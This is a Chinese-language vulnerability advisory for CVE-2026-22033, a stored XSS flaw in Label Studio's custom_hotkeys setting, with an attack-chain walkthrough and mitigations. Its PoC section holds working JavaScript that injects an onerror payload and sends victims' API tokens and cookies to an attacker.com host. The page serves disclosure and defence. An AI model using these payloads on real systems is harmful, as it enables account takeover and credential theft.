IPBUF安全漏洞报告
English
CVE-2026-22033 CVSS 5.4 中危

CVE-2026-22033 Label Studio custom_hotkeys存储型XSS漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2026-22033
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Label Studio

相关标签

存储型XSSLabel Studio账户接管API Token泄露CSRFCVE-2026-22033数据标注工具持久性XSS权限提升

漏洞概述

Label Studio是一款多类型数据标注工具,在1.22.0及更早版本中存在一处持久性存储型跨站脚本(XSS)漏洞。该漏洞位于应用的custom_hotkeys功能模块中,允许经过认证的攻击者或能够诱骗用户/管理员更新custom_hotkeys的攻击者注入恶意JavaScript代码。当其他用户访问使用templates/base.html模板的页面时,注入的恶意脚本会在其浏览器中执行。由于应用程序向浏览器暴露了API token端点(/api/current-user/token),且部分API端点缺乏有效的CSRF保护,注入的脚本可以窃取受害者的API token或调用token重置端点,从而实现完整的账户接管和未授权API访问。

技术细节

漏洞根源在于Label Studio的custom_hotkeys设置功能未对用户输入进行充分的HTML转义或内容安全策略(CSP)限制。攻击者通过更新custom_hotkeys配置时注入包含<script>标签或事件处理器(如onerror、onload)的JavaScript代码,该代码被永久存储在服务器端。当其他用户访问任意使用base.html模板的页面时,恶意代码会随页面一起加载并在受害者浏览器上下文中执行。由于应用提供了/current-user/token端点直接返回用户API token,且缺乏CSRF token验证,恶意脚本可以:1)使用XMLHttpRequest或fetch API获取受害者token;2)调用token重置API;3)以受害者身份执行任意API操作。整个攻击过程无需复杂的交互,攻击者只需诱骗目标用户访问特定页面即可触发漏洞。

攻击链分析

STEP 1
步骤1: 侦察与准备
攻击者注册Label Studio账户,获取目标环境的访问权限。收集目标版本信息(1.22.0或更早版本),确认custom_hotkeys功能存在且可访问。
STEP 2
步骤2: 漏洞注入
攻击者通过PATCH请求到/api/user-me端点,在custom_hotkeys字段中注入恶意JavaScript代码。payload可以是<script>标签、内联事件处理器(如onerror)或SVG/iframe注入。恶意代码被永久存储在数据库中。
STEP 3
步骤3: 诱骗受害者
攻击者通过钓鱼邮件、即时消息或其他社交工程手段,诱骗目标用户(管理员或其他认证用户)访问Label Studio的任意页面。由于所有使用base.html模板的页面都会渲染custom_hotkeys,攻击面广泛。
STEP 4
步骤4: XSS触发与Token窃取
受害者浏览器加载页面时,恶意JavaScript在受害者上下文中执行。脚本通过fetch或XMLHttpRequest调用/api/current-user/token端点获取受害者的API token,并将其外传到攻击者控制的服务器。
STEP 5
步骤5: 账户接管
攻击者获取受害者token后,可以利用该token调用API执行任意操作,包括修改用户密码、重置MFA、访问敏感数据、创建新账户等,实现完整的账户接管。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-22033 PoC - Label Studio Stored XSS in custom_hotkeys // This PoC demonstrates how to steal API token via stored XSS // Step 1: Inject malicious JavaScript via custom_hotkeys API const injectPayload = async (baseUrl, token) => { const maliciousHotkey = { custom_hotkeys: { '<img src=x onerror="fetch(`https://attacker.com/steal?token=${btoa(localStorage.getItem('jwt_token') || document.cookie)}`)">': {} } }; await fetch(`${baseUrl}/api/user-me`, { method: 'PATCH', headers: { 'Authorization': `Token ${token}`, 'Content-Type': 'application/json' }, body: JSON.stringify(maliciousHotkey) }); }; // Step 2: The injected script will execute when victim loads any page using base.html // Example XSS payload that steals token and sends to attacker server const xssPayload = ` <script> fetch('/api/current-user/token') .then(r => r.json()) .then(data => { // Exfiltrate token to attacker-controlled server new Image().src = 'https://attacker.com/log?token=' + btoa(data.token); // Optional: Use token for account takeover fetch('https://attacker.com/clone-account', { method: 'POST', body: JSON.stringify({token: data.token}) }); }); </script> `; // Step 3: Trigger via social engineering - trick victim to visit any page

影响范围

Label Studio < 1.22.0
Label Studio 1.22.0
Label Studio <= 1.22.0 (all earlier versions)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1)禁用或限制custom_hotkeys功能的使用;2)实施严格的输入验证,过滤所有HTML和JavaScript相关字符;3)配置Web应用防火墙(WAF)规则检测和阻止XSS payload;4)限制用户对API端点的访问权限;5)启用详细的审计日志监控异常API调用行为;6)对管理员和高级用户进行安全意识培训,警惕社交工程攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表